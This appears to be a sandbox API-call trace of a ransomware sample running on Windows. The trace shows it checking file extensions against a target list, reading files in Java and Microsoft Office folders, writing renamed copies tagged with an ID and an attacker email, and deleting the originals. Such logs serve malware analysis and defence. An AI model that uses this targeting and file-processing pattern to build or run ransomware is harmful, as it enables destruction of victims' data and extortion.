	[0065.546] lstrlenW (lpString=".rar") returned 4
	[0065.546] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0065.546] lstrlenW (lpString=".bz2") returned 4
	[0065.546] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0065.546] lstrlenW (lpString=".7z") returned 3
	[0065.546] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0065.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.546] lstrlenW (lpString=".dbf") returned 4
	[0065.546] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0065.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.546] lstrlenW (lpString=".1cd") returned 4
	[0065.546] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0065.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.546] lstrlenW (lpString=".jpg") returned 4
	[0065.546] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0065.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.547] lstrlenW (lpString=".doc") returned 4
	[0065.547] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0065.547] lstrlenW (lpString=".docx") returned 5
	[0065.547] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1
	[0065.547] lstrlenW (lpString=".pdf") returned 4
	[0065.547] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0065.547] lstrlenW (lpString=".xls") returned 4
	[0065.547] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0065.547] lstrlenW (lpString=".xlsx") returned 5
	[0065.547] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1
	[0065.547] lstrlenW (lpString=".ppt") returned 4
	[0065.547] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0065.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.547] lstrlenW (lpString=".zip") returned 4
	[0065.547] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0065.547] lstrlenW (lpString=".rar") returned 4
	[0065.547] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0065.547] lstrlenW (lpString=".bz2") returned 4
	[0065.547] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0065.547] lstrlenW (lpString=".7z") returned 3
	[0065.547] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0065.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.547] lstrlenW (lpString=".dbf") returned 4
	[0065.547] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0065.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.547] lstrlenW (lpString=".1cd") returned 4
	[0065.547] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0065.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0065.547] lstrlenW (lpString=".jpg") returned 4
	[0065.547] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0065.548] lstrcmpiW (lpString1=".txt", lpString2=".html") returned 1
	[0065.548] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27
	[0065.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.550] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=145180) returned 1
	[0065.550] CloseHandle (hObject=0x320) returned 1
	[0065.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20
	[0065.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.556] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.556] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.442] GetLastError () returned 0x0
	[0066.442] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x2371c, lpOverlapped=0x0) returned 1
	[0066.453] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x23720, lpOverlapped=0x0) returned 1
	[0066.456] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.456] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0066.456] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.457] CloseHandle (hObject=0x2f8) returned 1
	[0066.460] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.460] SetEndOfFile (hFile=0x328) returned 1
	[0066.462] CloseHandle (hObject=0x328) returned 1
	[0066.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0066.462] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1
	[0066.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.462] lstrlenW (lpString=".doc") returned 4
	[0066.462] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0066.462] lstrlenW (lpString=".docx") returned 5
	[0066.462] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0066.462] lstrlenW (lpString=".pdf") returned 4
	[0066.463] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0066.463] lstrlenW (lpString=".xls") returned 4
	[0066.463] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0066.463] lstrlenW (lpString=".xlsx") returned 5
	[0066.463] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0066.463] lstrlenW (lpString=".ppt") returned 4
	[0066.463] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0066.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.463] lstrlenW (lpString=".zip") returned 4
	[0066.463] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0066.463] lstrlenW (lpString=".rar") returned 4
	[0066.463] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0066.463] lstrlenW (lpString=".bz2") returned 4
	[0066.463] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0066.463] lstrlenW (lpString=".7z") returned 3
	[0066.463] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0066.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.463] lstrlenW (lpString=".dbf") returned 4
	[0066.463] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0066.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.463] lstrlenW (lpString=".1cd") returned 4
	[0066.463] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0066.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.463] lstrlenW (lpString=".jpg") returned 4
	[0066.463] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0066.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.463] lstrlenW (lpString=".doc") returned 4
	[0066.463] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0066.464] lstrlenW (lpString=".docx") returned 5
	[0066.464] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0066.464] lstrlenW (lpString=".pdf") returned 4
	[0066.464] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0066.464] lstrlenW (lpString=".xls") returned 4
	[0066.464] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0066.464] lstrlenW (lpString=".xlsx") returned 5
	[0066.464] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0066.464] lstrlenW (lpString=".ppt") returned 4
	[0066.464] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0066.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.464] lstrlenW (lpString=".zip") returned 4
	[0066.464] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0066.464] lstrlenW (lpString=".rar") returned 4
	[0066.464] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0066.464] lstrlenW (lpString=".bz2") returned 4
	[0066.464] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0066.464] lstrlenW (lpString=".7z") returned 3
	[0066.464] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0066.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.464] lstrlenW (lpString=".dbf") returned 4
	[0066.464] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0066.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.464] lstrlenW (lpString=".1cd") returned 4
	[0066.464] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0066.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0066.464] lstrlenW (lpString=".jpg") returned 4
	[0066.464] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0066.465] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1
	[0066.465] lstrlenW (lpString="SLERROR.XML") returned 11
	[0066.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0066.465] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=36336) returned 1
	[0066.465] CloseHandle (hObject=0x328) returned 1
	[0066.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20
	[0066.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0066.466] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.466] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.466] GetLastError () returned 0x0
	[0066.466] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x8df0, lpOverlapped=0x0) returned 1
	[0066.505] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x8e00, lpOverlapped=0x0) returned 1
	[0066.507] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.507] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xea, lpOverlapped=0x0) returned 1
	[0066.507] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.507] CloseHandle (hObject=0x2f8) returned 1
	[0066.509] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.509] SetEndOfFile (hFile=0x328) returned 1
	[0066.510] CloseHandle (hObject=0x328) returned 1
	[0066.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0066.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1
	[0066.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.511] lstrlenW (lpString=".doc") returned 4
	[0066.511] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0066.511] lstrlenW (lpString=".docx") returned 5
	[0066.511] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1
	[0066.511] lstrlenW (lpString=".pdf") returned 4
	[0066.511] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0066.511] lstrlenW (lpString=".xls") returned 4
	[0066.511] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0066.511] lstrlenW (lpString=".xlsx") returned 5
	[0066.511] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1
	[0066.511] lstrlenW (lpString=".ppt") returned 4
	[0066.511] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0066.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.511] lstrlenW (lpString=".zip") returned 4
	[0066.511] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0066.511] lstrlenW (lpString=".rar") returned 4
	[0066.511] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0066.511] lstrlenW (lpString=".bz2") returned 4
	[0066.511] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0066.511] lstrlenW (lpString=".7z") returned 3
	[0066.511] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0066.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.512] lstrlenW (lpString=".dbf") returned 4
	[0066.512] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.512] lstrlenW (lpString=".1cd") returned 4
	[0066.512] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.512] lstrlenW (lpString=".jpg") returned 4
	[0066.512] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.512] lstrlenW (lpString=".doc") returned 4
	[0066.512] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString=".docx") returned 5
	[0066.512] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1
	[0066.512] lstrlenW (lpString=".pdf") returned 4
	[0066.512] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString=".xls") returned 4
	[0066.512] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString=".xlsx") returned 5
	[0066.512] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1
	[0066.512] lstrlenW (lpString=".ppt") returned 4
	[0066.512] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.512] lstrlenW (lpString=".zip") returned 4
	[0066.512] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0066.512] lstrlenW (lpString=".rar") returned 4
	[0066.512] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString=".bz2") returned 4
	[0066.512] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0066.512] lstrlenW (lpString=".7z") returned 3
	[0066.513] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0066.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.513] lstrlenW (lpString=".dbf") returned 4
	[0066.513] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0066.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.513] lstrlenW (lpString=".1cd") returned 4
	[0066.513] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0066.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0066.513] lstrlenW (lpString=".jpg") returned 4
	[0066.513] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0066.513] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0066.513] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53
	[0066.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0066.513] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=1533) returned 1
	[0066.513] CloseHandle (hObject=0x328) returned 1
	[0066.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0066.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0066.514] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.514] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.514] GetLastError () returned 0x0
	[0066.514] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x5fd, lpOverlapped=0x0) returned 1
	[0066.560] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x600, lpOverlapped=0x0) returned 1
	[0066.561] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.561] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0066.561] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.562] CloseHandle (hObject=0x2f8) returned 1
	[0066.565] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.565] SetEndOfFile (hFile=0x328) returned 1
	[0066.566] CloseHandle (hObject=0x328) returned 1
	[0066.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0066.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1
	[0066.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.567] lstrlenW (lpString=".doc") returned 4
	[0066.567] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.567] lstrlenW (lpString=".docx") returned 5
	[0066.567] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.567] lstrlenW (lpString=".pdf") returned 4
	[0066.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.567] lstrlenW (lpString=".xls") returned 4
	[0066.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.567] lstrlenW (lpString=".xlsx") returned 5
	[0066.567] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.567] lstrlenW (lpString=".ppt") returned 4
	[0066.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.567] lstrlenW (lpString=".zip") returned 4
	[0066.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.567] lstrlenW (lpString=".rar") returned 4
	[0066.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.567] lstrlenW (lpString=".bz2") returned 4
	[0066.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.567] lstrlenW (lpString=".7z") returned 3
	[0066.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.567] lstrlenW (lpString=".dbf") returned 4
	[0066.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
